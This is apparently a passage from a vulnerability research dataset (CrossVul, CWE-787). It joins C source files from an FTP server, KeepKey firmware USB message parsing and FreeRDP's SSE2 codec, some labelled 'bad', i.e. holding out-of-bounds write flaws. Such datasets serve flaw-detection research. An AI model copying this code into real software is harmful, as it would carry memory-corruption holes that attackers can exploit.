buf); } #define COMMAND(NAME) { #NAME, handle_ ## NAME } static ftp_cmd_t supported[] = { COMMAND(ABOR), COMMAND(DELE), COMMAND(USER), COMMAND(PASS), COMMAND(SYST), COMMAND(TYPE), COMMAND(PORT), COMMAND(EPRT), COMMAND(RETR), COMMAND(MKD), COMMAND(RMD), COMMAND(REST), COMMAND(MDTM), COMMAND(PASV), COMMAND(EPSV), COMMAND(QUIT), COMMAND(LIST), COMMAND(NLST), COMMAND(MLST), COMMAND(MLSD), COMMAND(CLNT), COMMAND(OPTS), COMMAND(PWD), COMMAND(STOR), COMMAND(CWD), COMMAND(CDUP), COMMAND(SIZE), COMMAND(NOOP), COMMAND(HELP), COMMAND(FEAT), { NULL, NULL } }; static void child_exit(uev_t *w, void *arg, int events) { DBG("Child exiting ..."); uev_exit(w->ctx); } static void read_client_command(uev_t *w, void *arg, int events) { char *command, *argument; ctrl_t *ctrl = (ctrl_t *)arg; ftp_cmd_t *cmd; if (UEV_ERROR == events || UEV_HUP == events) { uev_io_start(w); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); if (recv_msg(w->fd, ctrl->buf, ctrl->bufsz, &command, &argument)) { DBG("Short read, exiting."); uev_exit(ctrl->ctx); return; } if (!string_valid(command)) return; if (string_match(command, "FF F4")) { DBG("Ignoring IAC command, client should send ABOR as well."); return; } for (cmd = &supported[0]; cmd->command; cmd++) { if (string_compare(command, cmd->command)) { cmd->cb(ctrl, argument); return; } } handle_UNKNOWN(ctrl, command); } static void ftp_command(ctrl_t *ctrl) { uev_t sigterm_watcher; ctrl->bufsz = BUFFER_SIZE * sizeof(char); ctrl->buf = malloc(ctrl->bufsz); if (!ctrl->buf) { WARN(errno, "FTP session failed allocating buffer"); exit(1); } snprintf(ctrl->buf, ctrl->bufsz, "220 %s (%s) ready.\r\n", prognm, VERSION); send_msg(ctrl->sd, ctrl->buf); uev_signal_init(ctrl->ctx, &sigterm_watcher, child_exit, NULL, SIGTERM); uev_io_init(ctrl->ctx, &ctrl->io_watcher, read_client_command, ctrl, ctrl->sd, UEV_READ); uev_run(ctrl->ctx, 0); } int ftp_session(uev_ctx_t *ctx, int sd) { int pid = 0; ctrl_t *ctrl; socklen_t len; ctrl = new_session(ctx, sd, &pid); if (!ctrl) { if (pid < 0) { shutdown(sd, SHUT_RDWR); close(sd); } return pid; } len = sizeof(ctrl->server_sa); if (-1 == getsockname(sd, (struct sockaddr *)&ctrl->server_sa, &len)) { ERR(errno, "Cannot determine our address"); goto fail; } convert_address(&ctrl->server_sa, ctrl->serveraddr, sizeof(ctrl->serveraddr)); len = sizeof(ctrl->client_sa); if (-1 == getpeername(sd, (struct sockaddr *)&ctrl->client_sa, &len)) { ERR(errno, "Cannot determine client address"); goto fail; } convert_address(&ctrl->client_sa, ctrl->clientaddr, sizeof(ctrl->clientaddr)); ctrl->type = TYPE_A; ctrl->data_listen_sd = -1; ctrl->data_sd = -1; ctrl->name[0] = 0; ctrl->pass[0] = 0; ctrl->data_address[0] = 0; strlcpy(ctrl->facts, "mpst", sizeof(ctrl->facts)); INFO("Client connection from %s", ctrl->clientaddr); ftp_command(ctrl); DBG("Client exiting, bye"); exit(del_session(ctrl, 1)); fail: free(ctrl); shutdown(sd, SHUT_RDWR); close(sd); return -1; } /** * Local Variables: * indent-tabs-mode: t * c-file-style: "linux" * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4260_0
crossvul-cpp_data_bad_1209_0
/* * This file is part of the KeepKey project. * * Copyright (C) 2015 KeepKey LLC * * This library is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this library. If not, see <http://www.gnu.org/licenses/>. */ #include "keepkey/board/usb.h" #include "keepkey/board/messages.h" #include "keepkey/board/variant.h" #include "keepkey/board/timer.h" #include "keepkey/board/layout.h" #include "keepkey/board/util.h" #include <nanopb.h> #include <assert.h> #include <string.h> static const MessagesMap_t *MessagesMap = NULL; static size_t map_size = 0; static msg_failure_t msg_failure; #if DEBUG_LINK static msg_debug_link_get_state_t msg_debug_link_get_state; #endif /* Tiny messages */ static bool msg_tiny_flag = false; static CONFIDENTIAL uint8_t msg_tiny[MSG_TINY_BFR_SZ]; static uint16_t msg_tiny_id = MSG_TINY_TYPE_ERROR; /* Default to error type */ /* Allow mapped messages to reset message stack. This variable by itself doesn't * do much but messages down the line can use it to determine for to gracefully * exit from a message should the message stack been reset */ bool reset_msg_stack = false; /* * message_map_entry() - Finds a requested message map entry * * INPUT * - type: type of message (normal or debug) * - msg_id: message id * - dir: direction of message * OUTPUT * entry if found */ static const MessagesMap_t *message_map_entry(MessageMapType type, MessageType msg_id, MessageMapDirection dir) { const MessagesMap_t *m = MessagesMap; if (map_size > msg_id && m[msg_id].msg_id == msg_id && m[msg_id].type == type && m[msg_id].dir == dir) { return &m[msg_id]; } return NULL; } /* * message_fields() - Get protocol buffer for requested message map entry * * INPUT * - type: type of message (normal or debug) * - msg_id: message id * - dir: direction of message * OUTPUT * protocol buffer */ const pb_field_t *message_fields(MessageMapType type, MessageType msg_id, MessageMapDirection dir) { assert(MessagesMap != NULL); const MessagesMap_t *m = MessagesMap; if(map_size > msg_id && m[msg_id].msg_id == msg_id && m[msg_id].type == type && m[msg_id].dir == dir) { return m[msg_id].fields; } return NULL; } /* * pb_parse() - Process USB message by protocol buffer * * INPUT * - entry: pointer to message entry * - msg: pointer to received message buffer * - msg_size: size of message * - buf: pointer to destination buffer * OUTPUT * true/false whether protocol buffers were parsed successfully */ static bool pb_parse(const MessagesMap_t *entry, uint8_t *msg, uint32_t msg_size, uint8_t *buf) { pb_istream_t stream = pb_istream_from_buffer(msg, msg_size); return pb_decode(&stream, entry->fields, buf); } /* * dispatch() - Process received message and jump to corresponding process function * * INPUT * - entry: pointer to message entry * - msg: pointer to received message buffer * - msg_size: size of message * OUTPUT * none * */ static void dispatch(const MessagesMap_t *entry, uint8_t *msg, uint32_t msg_size) { static uint8_t decode_buffer[MAX_DECODE_SIZE] __attribute__((aligned(4))); memset(decode_buffer, 0, sizeof(decode_buffer)); if (!pb_parse(entry, msg, msg_size, decode_buffer)) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Could not parse protocol buffer message"); return; } if (!entry->process_func) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Unexpected message"); return; } entry->process_func(decode_buffer); } /* * tiny_dispatch() - Process received tiny messages * * INPUT * - entry: pointer to message entry * - msg: pointer to received message buffer * - msg_size: size of message * OUTPUT * none * */ static void tiny_dispatch(const MessagesMap_t *entry, uint8_t *msg, uint32_t msg_size) { if (!pb_parse(entry, msg, msg_size, msg_tiny)) { call_msg_failure_handler(FailureType_Failure_UnexpectedMessage, "Could not parse tiny protocol buffer message"); return; } msg_tiny_id = entry->msg_id; } /* * raw_dispatch() - Process messages that will not be parsed by protocol buffers * and should be manually parsed at message function * * INPUT * - entry: pointer to message entry * - msg: pointer to received message buffer * - msg_size: size of message * - frame_length: total expected size * OUTPUT * none */ static void raw_dispatch(const MessagesMap_t *entry, const uint8_t *msg, uint32_t msg_size, uint32_t frame_length) { static RawMessage raw_msg; raw_msg.buffer = msg; raw_msg.length = msg_size; if(entry->process_func) { ((raw_msg_handler_t)entry->process_func)(&raw_msg, frame_length); } } #if !defined(__has_builtin) # define __has_builtin(X) 0 #endif #if __has_builtin(__builtin_add_overflow) # define check_uadd_overflow(A, B, R) \ ({ \ typeof(A) __a = (A); \ typeof(B) __b = (B); \ typeof(R) __r = (R); \ (void)(&__a == &__b && "types must match"); \ (void)(&__a == __r && "types must match"); \ _Static_assert(0 < (typeof(A))-1, "types must be unsigned"); \ __builtin_add_overflow((A), (B), (R)); \ }) #else # define check_uadd_overflow(A, B, R) \ ({ \ typeof(A) __a = (A); \ typeof(B) __b = (B); \ typeof(R) __r = (R); \ (void)(&__a == &__b); \ (void)(&__a == __r); \ (void)(&__a == &__b && "types must match"); \ (void)(&__a == __r && "types must match"); \ _Static_assert(0 < (typeof(A))-1, "types must be unsigned"); \ *__r = __a + __b; \ *__r < __a; \ }) #endif /// Common helper that handles USB messages from host void usb_rx_helper(const uint8_t *buf, size_t length, MessageMapType type) { static bool firstFrame = true; static uint16_t msgId; static uint32_t msgSize; static uint8_t msg[MAX_FRAME_SIZE]; static size_t cursor; //< Index into msg where the current frame is to be written. static const MessagesMap_t *entry; if (firstFrame) { msgId = 0xffff; msgSize = 0; memset(msg, 0, sizeof(msg)); cursor = 0; entry = NULL; } assert(buf != NULL); if (length < 1 + 2 + 2 + 4) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Buffer too small"); goto reset; } if (buf[0] != '?') { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed packet"); goto reset; } if (firstFrame && (buf[1] != '#' || buf[2] != '#')) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed packet"); goto reset; } // Details of the chunk being copied out of the current frame. const uint8_t *frame; size_t frameSize; if (firstFrame) { // Reset the buffer that we're writing fragments into. memset(msg, 0, sizeof(msg)); // Then fish out the id / size, which are big-endian uint16 / // uint32's respectively. msgId = buf[4] | ((uint16_t)buf[3]) << 8; msgSize = buf[8] | ((uint32_t)buf[7]) << 8 | ((uint32_t)buf[6]) << 16 | ((uint32_t)buf[5]) << 24; // Determine callback handler and message map type. entry = message_map_entry(type, msgId, IN_MSG); // And reset the cursor. cursor = 0; // Then take note of the fragment boundaries. frame = &buf[9]; frameSize = MIN(length - 9, msgSize); } else { // Otherwise it's a continuation/fragment. frame = &buf[1]; frameSize = length - 1; } // If the msgId wasn't in our map, bail. if (!entry) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Unknown message"); goto reset; } if (entry->dispatch == RAW) { /* Call dispatch for every segment since we are not buffering and parsing, and * assume the raw dispatched callbacks will handle their own state and * buffering internally */ raw_dispatch(entry, frame, frameSize, msgSize); firstFrame = false; return; } size_t end; if (check_uadd_overflow(cursor, frameSize, &end) || sizeof(msg) < end) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed message"); goto reset; } // Copy content to frame buffer. memcpy(&msg[cursor], frame, frameSize); // Advance the cursor. cursor = end; // Only parse and message map if all segments have been buffered. bool last_segment = cursor >= msgSize; if (!last_segment) { firstFrame = false; return; } dispatch(entry, msg, msgSize); reset: msgId = 0xffff; msgSize = 0; memset(msg, 0, sizeof(msg)); cursor = 0; firstFrame = true; entry = NULL; } void handle_usb_rx(const void *msg, size_t len) { if (msg_tiny_flag) { uint8_t buf[64]; memcpy(buf, msg, sizeof(buf)); uint16_t msgId = buf[4] | ((uint16_t)buf[3]) << 8; uint32_t msgSize = buf[8] | ((uint32_t)buf[7]) << 8 | ((uint32_t)buf[6]) << 16 | ((uint32_t)buf[5]) << 24; if (msgSize > 64 - 9) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed tiny packet"); return; } // Determine callback handler and message map type. const MessagesMap_t *entry = message_map_entry(NORMAL_MSG, msgId, IN_MSG); if (!entry) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Unknown message"); return; } tiny_dispatch(entry, buf + 9, msgSize); } else { usb_rx_helper(msg, len, NORMAL_MSG); } } #if DEBUG_LINK void handle_debug_usb_rx(const void *msg, size_t len) { if (msg_tiny_flag) { uint8_t buf[64]; memcpy(buf, msg, sizeof(buf)); uint16_t msgId = buf[4] | ((uint16_t)buf[3]) << 8; uint32_t msgSize = buf[8] | ((uint32_t)buf[7]) << 8 | ((uint32_t)buf[6]) << 16 | ((uint32_t)buf[5]) << 24; if (msgSize > 64 - 9) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed tiny packet"); return; } // Determine callback handler and message map type. const MessagesMap_t *entry = message_map_entry(DEBUG_MSG, msgId, IN_MSG); if (!entry) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Unknown message"); return; } tiny_dispatch(entry, buf + 9, msgSize); } else { usb_rx_helper(msg, len, DEBUG_MSG); } } #endif /* * tiny_msg_poll_and_buffer() - Poll usb port to check for tiny message from host * * INPUT * - block: flag to continually poll usb until tiny message is received * - buf: pointer to destination buffer * OUTPUT * message type * */ static MessageType tiny_msg_poll_and_buffer(bool block, uint8_t *buf) { msg_tiny_id = MSG_TINY_TYPE_ERROR; msg_tiny_flag = true; while(msg_tiny_id == MSG_TINY_TYPE_ERROR) { usbPoll(); if(!block) { break; } } msg_tiny_flag = false; if(msg_tiny_id != MSG_TINY_TYPE_ERROR) { memcpy(buf, msg_tiny, sizeof(msg_tiny)); } return msg_tiny_id; } /* * msg_map_init() - Setup message map with corresping message type * * INPUT * - map: pointer message map array * - size: size of message map * OUTPUT * */ void msg_map_init(const void *map, const size_t size) { assert(map != NULL); MessagesMap = map; map_size = size; } /* * set_msg_failure_handler() - Setup usb message failure handler * * INPUT * - failure_func: message failure handler * OUTPUT * none */ void set_msg_failure_handler(msg_failure_t failure_func) { msg_failure = failure_func; } /* * set_msg_debug_link_get_state_handler() - Setup usb message debug link get state handler * * INPUT * - debug_link_get_state_func: message initialization handler * OUTPUT * none */ #if DEBUG_LINK void set_msg_debug_link_get_state_handler(msg_debug_link_get_state_t debug_link_get_state_func) { msg_debug_link_get_state = debug_link_get_state_func; } #endif /* * call_msg_failure_handler() - Call message failure handler * * INPUT * - code: failure code * - text: pinter to function arguments * OUTPUT * none */ void call_msg_failure_handler(FailureType code, const char *text) { if(msg_failure) { (*msg_failure)(code, text); } } /* * call_msg_debug_link_get_state_handler() - Call message debug link get state handler * * INPUT * none * OUTPUT * none */ #if DEBUG_LINK void call_msg_debug_link_get_state_handler(DebugLinkGetState *msg) { if(msg_debug_link_get_state) { (*msg_debug_link_get_state)(msg); } } #endif /* * msg_init() - Setup usb receive callback handler * * INPUT * none * OUTPUT * none */ void msg_init(void) { usb_set_rx_callback(handle_usb_rx); #if DEBUG_LINK usb_set_debug_rx_callback(handle_debug_usb_rx); #endif } /* * wait_for_tiny_msg() - Wait for usb tiny message type from host * * INPUT * - buf: pointer to destination buffer * OUTPUT * message tiny type * */ MessageType wait_for_tiny_msg(uint8_t *buf) { return tiny_msg_poll_and_buffer(true, buf); } /* * check_for_tiny_msg() - Check for usb tiny message type from host * * INPUT * - buf: pointer to destination buffer * OUTPUT * message tiny type * */ MessageType check_for_tiny_msg(uint8_t *buf) { return tiny_msg_poll_and_buffer(false, buf); } /* * parse_pb_varint() - Parses varints off of raw messages * * INPUT * - msg: pointer to raw message * - varint_count: how many varints to remove * OUTPUT * bytes that were skipped */ uint32_t parse_pb_varint(RawMessage *msg, uint8_t varint_count) { uint32_t skip; uint8_t i; uint64_t pb_varint; pb_istream_t stream; /* * Parse varints */ stream = pb_istream_from_buffer((uint8_t*)msg->buffer, msg->length); skip = stream.bytes_left; for(i = 0; i < varint_count; ++i) { pb_decode_varint(&stream, &pb_varint); } skip = skip - stream.bytes_left; /* * Increment skip over message */ msg->length -= skip; msg->buffer = (uint8_t *)(msg->buffer + skip); return skip; } /* * encode_pb() - convert to raw pb data * * INPUT * - source_ptr : pointer to struct * - fields: pointer pb fields * - *buffer: pointer to destination buffer * - len: size of buffer * OUTPUT * bytes written to buffer */ int encode_pb(const void *source_ptr, const pb_field_t *fields, uint8_t *buffer, uint32_t len ) { pb_ostream_t os = pb_ostream_from_buffer(buffer, len); if (!pb_encode(&os, fields, source_ptr)) return 0; return os.bytes_written; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1209_0
crossvul-cpp_data_good_674_4
/** * FreeRDP: A Remote Desktop Protocol Implementation * NSCodec Library - SSE2 Optimizations * * Copyright 2012 Vic Lee * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <xmmintrin.h> #include <emmintrin.h> #include <freerdp/codec/color.h> #include <winpr/crt.h> #include <winpr/sysinfo.h> #include "nsc_types.h" #include "nsc_sse2.h" static void nsc_encode_argb_to_aycocg_sse2(NSC_CONTEXT* context, const BYTE* data, UINT32 scanline) { UINT16 x; UINT16 y; UINT16 rw; BYTE ccl; const BYTE* src; BYTE* yplane = NULL; BYTE* coplane = NULL; BYTE* cgplane = NULL; BYTE* aplane = NULL; __m128i r_val; __m128i g_val; __m128i b_val; __m128i a_val; __m128i y_val; __m128i co_val; __m128i cg_val; UINT32 tempWidth; tempWidth = ROUND_UP_TO(context->width, 8); rw = (context->ChromaSubsamplingLevel > 0 ? tempWidth : context->width); ccl = context->ColorLossLevel; for (y = 0; y < context->height; y++) { src = data + (context->height - 1 - y) * scanline; yplane = context->priv->PlaneBuffers[0] + y * rw; coplane = context->priv->PlaneBuffers[1] + y * rw; cgplane = context->priv->PlaneBuffers[2] + y * rw; aplane = context->priv->PlaneBuffers[3] + y * context->width; for (x = 0; x < context->width; x += 8) { switch (context->format) { case PIXEL_FORMAT_BGRX32: b_val = _mm_set_epi16(*(src + 28), *(src + 24), *(src + 20), *(src + 16), *(src + 12), *(src + 8), *(src + 4), *src); g_val = _mm_set_epi16(*(src + 29), *(src + 25), *(src + 21), *(src + 17), *(src + 13), *(src + 9), *(src + 5), *(src + 1)); r_val = _mm_set_epi16(*(src + 30), *(src + 26), *(src + 22), *(src + 18), *(src + 14), *(src + 10), *(src + 6), *(src + 2)); a_val = _mm_set1_epi16(0xFF); src += 32; break; case PIXEL_FORMAT_BGRA32: b_val = _mm_set_epi16(*(src + 28), *(src + 24), *(src + 20), *(src + 16), *(src + 12), *(src + 8), *(src + 4), *src); g_val = _mm_set_epi16(*(src + 29), *(src + 25), *(src + 21), *(src + 17), *(src + 13), *(src + 9), *(src + 5), *(src + 1)); r_val = _mm_set_epi16(*(src + 30), *(src + 26), *(src + 22), *(src + 18), *(src + 14), *(src + 10), *(src + 6), *(src + 2)); a_val = _mm_set_epi16(*(src + 31), *(src + 27), *(src + 23), *(src + 19), *(src + 15), *(src + 11), *(src + 7), *(src + 3)); src += 32; break; case PIXEL_FORMAT_RGBX32: r_val = _mm_set_epi16(*(src + 28), *(src + 24), *(src + 20), *(src + 16), *(src + 12), *(src + 8), *(src + 4), *src); g_val = _mm_set_epi16(*(src + 29), *(src + 25), *(src + 21), *(src + 17), *(src + 13), *(src + 9), *(src + 5), *(src + 1)); b_val = _mm_set_epi16(*(src + 30), *(src + 26), *(src + 22), *(src + 18), *(src + 14), *(src + 10), *(src + 6), *(src + 2)); a_val = _mm_set1_epi16(0xFF); src += 32; break; case PIXEL_FORMAT_RGBA32: r_val = _mm_set_epi16(*(src + 28), *(src + 24), *(src + 20), *(src + 16), *(src + 12), *(src + 8), *(src + 4), *src); g_val = _mm_set_epi16(*(src + 29), *(src + 25), *(src + 21), *(src + 17), *(src + 13), *(src + 9), *(src + 5), *(src + 1)); b_val = _mm_set_epi16(*(src + 30), *(src + 26), *(src + 22), *(src + 18), *(src + 14), *(src + 10), *(src + 6), *(src + 2)); a_val = _mm_set_epi16(*(src + 31), *(src + 27), *(src + 23), *(src + 19), *(src + 15), *(src + 11), *(src + 7), *(src + 3)); src += 32; break; case PIXEL_FORMAT_BGR24: b_val = _mm_set_epi16(*(src + 21), *(src + 18), *(src + 15), *(src + 12), *(src + 9), *(src + 6), *(src + 3), *src); g_val = _mm_set_epi16(*(src + 22), *(src + 19), *(src + 16), *(src + 13), *(src + 10), *(src + 7), *(src + 4), *(src + 1)); r_val = _mm_set_epi16(*(src + 23), *(src + 20), *(src + 17), *(src + 14), *(src + 11), *(src + 8), *(src + 5), *(src + 2)); a_val = _mm_set1_epi16(0xFF); src += 24; break; case PIXEL_FORMAT_RGB24: r_val = _mm_set_epi16(*(src + 21), *(src + 18), *(src + 15), *(src + 12), *(src + 9), *(src + 6), *(src + 3), *src); g_val = _mm_set_epi16(*(src + 22), *(src + 19), *(src + 16), *(src + 13), *(src + 10), *(src + 7), *(src + 4), *(src + 1)); b_val = _mm_set_epi16(*(src + 23), *(src + 20), *(src + 17), *(src + 14), *(src + 11), *(src + 8), *(src + 5), *(src + 2)); a_val = _mm_set1_epi16(0xFF); src += 24; break; case PIXEL_FORMAT_BGR16: b_val = _mm_set_epi16( (((*(src + 15)) & 0xF8) | ((*(src + 15)) >> 5)), (((*(src + 13)) & 0xF8) | ((*(src + 13)) >> 5)), (((*(src + 11)) & 0xF8) | ((*(src + 11)) >> 5)), (((*(src + 9)) & 0xF8) | ((*(src + 9)) >> 5)), (((*(src + 7)) & 0xF8) | ((*(src + 7)) >> 5)), (((*(src + 5)) & 0xF8) | ((*(src + 5)) >> 5)), (((*(src + 3)) & 0xF8) | ((*(src + 3)) >> 5)), (((*(src + 1)) & 0xF8) | ((*(src + 1)) >> 5))); g_val = _mm_set_epi16( ((((*(src + 15)) & 0x07) << 5) | (((*(src + 14)) & 0xE0) >> 3)), ((((*(src + 13)) & 0x07) << 5) | (((*(src + 12)) & 0xE0) >> 3)), ((((*(src + 11)) & 0x07) << 5) | (((*(src + 10)) & 0xE0) >> 3)), ((((*(src + 9)) & 0x07) << 5) | (((*(src + 8)) & 0xE0) >> 3)), ((((*(src + 7)) & 0x07) << 5) | (((*(src + 6)) & 0xE0) >> 3)), ((((*(src + 5)) & 0x07) << 5) | (((*(src + 4)) & 0xE0) >> 3)), ((((*(src + 3)) & 0x07) << 5) | (((*(src + 2)) & 0xE0) >> 3)), ((((*(src + 1)) & 0x07) << 5) | (((*src) & 0xE0) >> 3))); r_val = _mm_set_epi16( ((((*(src + 14)) & 0x1F) << 3) | (((*(src + 14)) >> 2) & 0x07)), ((((*(src + 12)) & 0x1F) << 3) | (((*(src + 12)) >> 2) & 0x07)), ((((*(src + 10)) & 0x1F) << 3) | (((*(src + 10)) >> 2) & 0x07)), ((((*(src + 8)) & 0x1F) << 3) | (((*(src + 8)) >> 2) & 0x07)), ((((*(src + 6)) & 0x1F) << 3) | (((*(src + 6)) >> 2) & 0x07)), ((((*(src + 4)) & 0x1F) << 3) | (((*(src + 4)) >> 2) & 0x07)), ((((*(src + 2)) & 0x1F) << 3) | (((*(src + 2)) >> 2) & 0x07)), ((((*src) & 0x1F) << 3) | (((*src) >> 2) & 0x07))); a_val = _mm_set1_epi16(0xFF); src += 16; break; case PIXEL_FORMAT_RGB16: r_val = _mm_set_epi16( (((*(src + 15)) & 0xF8) | ((*(src + 15)) >> 5)), (((*(src + 13)) & 0xF8) | ((*(src + 13)) >> 5)), (((*(src + 11)) & 0xF8) | ((*(src + 11)) >> 5)), (((*(src + 9)) & 0xF8) | ((*(src + 9)) >> 5)), (((*(src + 7)) & 0xF8) | ((*(src + 7)) >> 5)), (((*(src + 5)) & 0xF8) | ((*(src + 5)) >> 5)), (((*(src + 3)) & 0xF8) | ((*(src + 3)) >> 5)), (((*(src + 1)) & 0xF8) | ((*(src + 1)) >> 5))); g_val = _mm_set_epi16( ((((*(src + 15)) & 0x07) << 5) | (((*(src + 14)) & 0xE0) >> 3)), ((((*(src + 13)) & 0x07) << 5) | (((*(src + 12)) & 0xE0) >> 3)), ((((*(src + 11)) & 0x07) << 5) | (((*(src + 10)) & 0xE0) >> 3)), ((((*(src + 9)) & 0x07) << 5) | (((*(src + 8)) & 0xE0) >> 3)), ((((*(src + 7)) & 0x07) << 5) | (((*(src + 6)) & 0xE0) >> 3)), ((((*(src + 5)) & 0x07) << 5) | (((*(src + 4)) & 0xE0) >> 3)), ((((*(src + 3)) & 0x07) << 5) | (((*(src + 2)) & 0xE0) >> 3)), ((((*(src + 1)) & 0x07) << 5) | (((*src) & 0xE0) >> 3))); b_val = _mm_set_epi16( ((((*(src + 14)) & 0x1F) << 3) | (((*(src + 14)) >> 2) & 0x07)), ((((*(src + 12)) & 0x1F) << 3) | (((*(src + 12)) >> 2) & 0x07)), ((((*(src + 10)) & 0x1F) << 3) | (((*(src + 10)) >> 2) & 0x07)), ((((*(src + 8)) & 0x1F) << 3) | (((*(src + 8)) >> 2) & 0x07)), ((((*(src + 6)) & 0x1F) << 3) | (((*(src + 6)) >> 2) & 0x07)), ((((*(src + 4)) & 0x1F) << 3) | (((*(src + 4)) >> 2) & 0x07)), ((((*(src + 2)) & 0x1F) << 3) | (((*(src + 2)) >> 2) & 0x07)), ((((*src) & 0x1F) << 3) | (((*src) >> 2) & 0x07))); a_val = _mm_set1_epi16(0xFF); src += 16; break; case PIXEL_FORMAT_A4: { int shift; BYTE idx[8]; for (shift = 7; shift >= 0; shift--) { idx[shift] = ((*src) >> shift) & 1; idx[shift] |= (((*(src + 1)) >> shift) & 1) << 1; idx[shift] |= (((*(src + 2)) >> shift) & 1) << 2; idx[shift] |= (((*(src + 3)) >> shift) & 1) << 3; idx[shift] *= 3; } r_val = _mm_set_epi16( context->palette[idx[0]], context->palette[idx[1]], context->palette[idx[2]], context->palette[idx[3]], context->palette[idx[4]], context->palette[idx[5]], context->palette[idx[6]], context->palette[idx[7]]); g_val = _mm_set_epi16( context->palette[idx[0] + 1], context->palette[idx[1] + 1], context->palette[idx[2] + 1], context->palette[idx[3] + 1], context->palette[idx[4] + 1], context->palette[idx[5] + 1], context->palette[idx[6] + 1], context->palette[idx[7] + 1]); b_val = _mm_set_epi16( context->palette[idx[0] + 2], context->palette[idx[1] + 2], context->palette[idx[2] + 2], context->palette[idx[3] + 2], context->palette[idx[4] + 2], context->palette[idx[5] + 2], context->palette[idx[6] + 2], context->palette[idx[7] + 2]); src += 4; } a_val = _mm_set1_epi16(0xFF); break; case PIXEL_FORMAT_RGB8: { r_val = _mm_set_epi16( context->palette[(*(src + 7)) * 3], context->palette[(*(src + 6)) * 3], context->palette[(*(src + 5)) * 3], context->palette[(*(src + 4)) * 3], context->palette[(*(src + 3)) * 3], context->palette[(*(src + 2)) * 3], context->palette[(*(src + 1)) * 3], context->palette[(*src) * 3]); g_val = _mm_set_epi16( context->palette[(*(src + 7)) * 3 + 1], context->palette[(*(src + 6)) * 3 + 1], context->palette[(*(src + 5)) * 3 + 1], context->palette[(*(src + 4)) * 3 + 1], context->palette[(*(src + 3)) * 3 + 1], context->palette[(*(src + 2)) * 3 + 1], context->palette[(*(src + 1)) * 3 + 1], context->palette[(*src) * 3 + 1]); b_val = _mm_set_epi16( context->palette[(*(src + 7)) * 3 + 2], context->palette[(*(src + 6)) * 3 + 2], context->palette[(*(src + 5)) * 3 + 2], context->palette[(*(src + 4)) * 3 + 2], context->palette[(*(src + 3)) * 3 + 2], context->palette[(*(src + 2)) * 3 + 2], context->palette[(*(src + 1)) * 3 + 2], context->palette[(*src) * 3 + 2]); src += 8; } a_val = _mm_set1_epi16(0xFF); break; default: r_val = g_val = b_val = a_val = _mm_set1_epi16(0); break; } y_val = _mm_srai_epi16(r_val, 2); y_val = _mm_add_epi16(y_val, _mm_srai_epi16(g_val, 1)); y_val = _mm_add_epi16(y_val, _mm_srai_epi16(b_val, 2)); co_val = _mm_sub_epi16(r_val, b_val); co_val = _mm_srai_epi16(co_val, ccl); cg_val = _mm_sub_epi16(g_val, _mm_srai_epi16(r_val, 1)); cg_val = _mm_sub_epi16(cg_val, _mm_srai_epi16(b_val, 1)); cg_val = _mm_srai_epi16(cg_val, ccl); y_val = _mm_packus_epi16(y_val, y_val); _mm_storeu_si128((__m128i*) yplane, y_val); co_val = _mm_packs_epi16(co_val, co_val); _mm_storeu_si128((__m128i*) coplane, co_val); cg_val = _mm_packs_epi16(cg_val, cg_val); _mm_storeu_si128((__m128i*) cgplane, cg_val); a_val = _mm_packus_epi16(a_val, a_val); _mm_storeu_si128((__m128i*) aplane, a_val); yplane += 8; coplane += 8; cgplane += 8; aplane += 8; } if (context->ChromaSubsamplingLevel > 0 && (context->width % 2) == 1) { context->priv->PlaneBuffers[0][y * rw + context->width] = context->priv->PlaneBuffers[0][y * rw + context->width - 1]; context->priv->PlaneBuffers[1][y * rw + context->width] = context->priv->PlaneBuffers[1][y * rw + context->width - 1]; context->priv->PlaneBuffers[2][y * rw + context->width] = context->priv->PlaneBuffers[2][y * rw + context->width - 1]; } } if (context->ChromaSubsamplingLevel > 0 && (y % 2) == 1) { yplane = context->priv->PlaneBuffers[0] + y * rw; coplane = context->priv->PlaneBuffers[1] + y * rw; cgplane = context->priv->PlaneBuffers[2] + y * rw; CopyMemory(yplane, yplane - rw, rw); CopyMemory(coplane, coplane - rw, rw); CopyMemory(cgplane, cgplane - rw, rw); } } static void nsc_encode_subsampling_sse2(NSC_CONTEXT* context) { UINT16 x; UINT16 y; BYTE* co_dst; BYTE* cg_dst; INT8* co_src0; INT8* co_src1; INT8* cg_src0; INT8* cg_src1; UINT32 tempWidth; UINT32 tempHeight; __m128i t; __m128i val; __m128i mask = _mm_set1_epi16(0xFF); tempWidth = ROUND_UP_TO(context->width, 8); tempHeight = ROUND_UP_TO(context->height, 2); for (y = 0; y < tempHeight >> 1; y++) { co_dst = context->priv->PlaneBuffers[1] + y * (tempWidth >> 1); cg_dst = context->priv->PlaneBuffers[2] + y * (tempWidth >> 1); co_src0 = (INT8*) context->priv->PlaneBuffers[1] + (y << 1) * tempWidth; co_src1 = co_src0 + tempWidth; cg_src0 = (INT8*) context->priv->PlaneBuffers[2] + (y << 1) 